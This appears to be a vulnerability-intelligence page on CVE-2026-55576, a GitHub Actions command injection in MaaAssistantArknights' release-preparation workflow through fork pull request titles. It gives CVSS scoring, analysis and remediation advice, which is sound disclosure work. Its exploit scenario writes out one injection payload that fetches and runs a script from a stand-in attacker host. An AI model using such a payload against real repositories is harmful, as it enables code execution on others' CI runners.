MaaAssistantArknights
CVE-2026-55576
HIGH
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Remotely reachable via a crafted fork-PR title (AV:N/AC:L/PR:N), but GitHub's first-contributor workflow-approval gate warrants UI:R; runner integrity is high while the read-only fork token limits confidentiality and availability.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
MaaAssistantArknights is a one-click tool for daily Arknights tasks. In the current dev-v2 workflow, .github/workflows/release-preparation.yml inlined attacker-controlled github.event.pull_request.title into a run: shell command during the pull_request opened, reopened, and ready_for_review events, so a non-draft fork PR whose title starts with Release v could execute shell commands on the ubuntu-latest runner during the generate-changelog job. This vulnerability is fixed by commit cafc3946059e6337d2089d4fec8b6885ba17c332.
AnalysisAI
GitHub Actions expression injection in MaaAssistantArknights' dev-v2 CI (release-preparation.yml) lets an external attacker execute arbitrary shell commands on the ubuntu-latest runner by opening a non-draft fork pull request whose title begins with 'Release v'. The attacker-controlled pull_request.title was inlined directly into a run: block during opened, reopened, and ready_for_review events, so a crafted title breaks out of the sed command in the generate-changelog job. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the attacker to open a pull request from a fork (github.event.pull_request) that is NOT a draft (draft == false) and whose title begins with the literal prefix 'Release v', which is the exact startsWith(...) guard on the vulnerable job; the payload is embedded in the PR title using shell metacharacters (backticks or $(...)). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L, base 8.8) reflects network-reachable, low-complexity, unauthenticated code execution on the runner with high integrity impact and lower confidentiality/availability impact - consistent with the fork PR token being read-only, which caps data theft. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker forks the repository and opens a non-draft pull request titled `Release v$(curl -s https://evil.example/x.sh | bash)` (or using backticks). When the pull_request opened/reopened/ready_for_review event fires and the generate-changelog job runs, the title is expanded into the sed pipeline and the injected command executes on the ubuntu-latest runner. … |
| Remediation | Upstream fix available (commit cafc3946059e6337d2089d4fec8b6885ba17c332); no packaged release version applies since the change is to CI workflow files, so downstream users of the tool need take no action and repository maintainers should ensure dev-v2/default branches have merged this commit. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: if your organization uses MaaAssistantArknights, immediately review recent CI runs and pull requests with titles starting with 'Release v' for unauthorized command execution; if you maintain the project, disable the pull_request and pull_request_target events on the affected workflow or restrict them to non-fork repositories. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today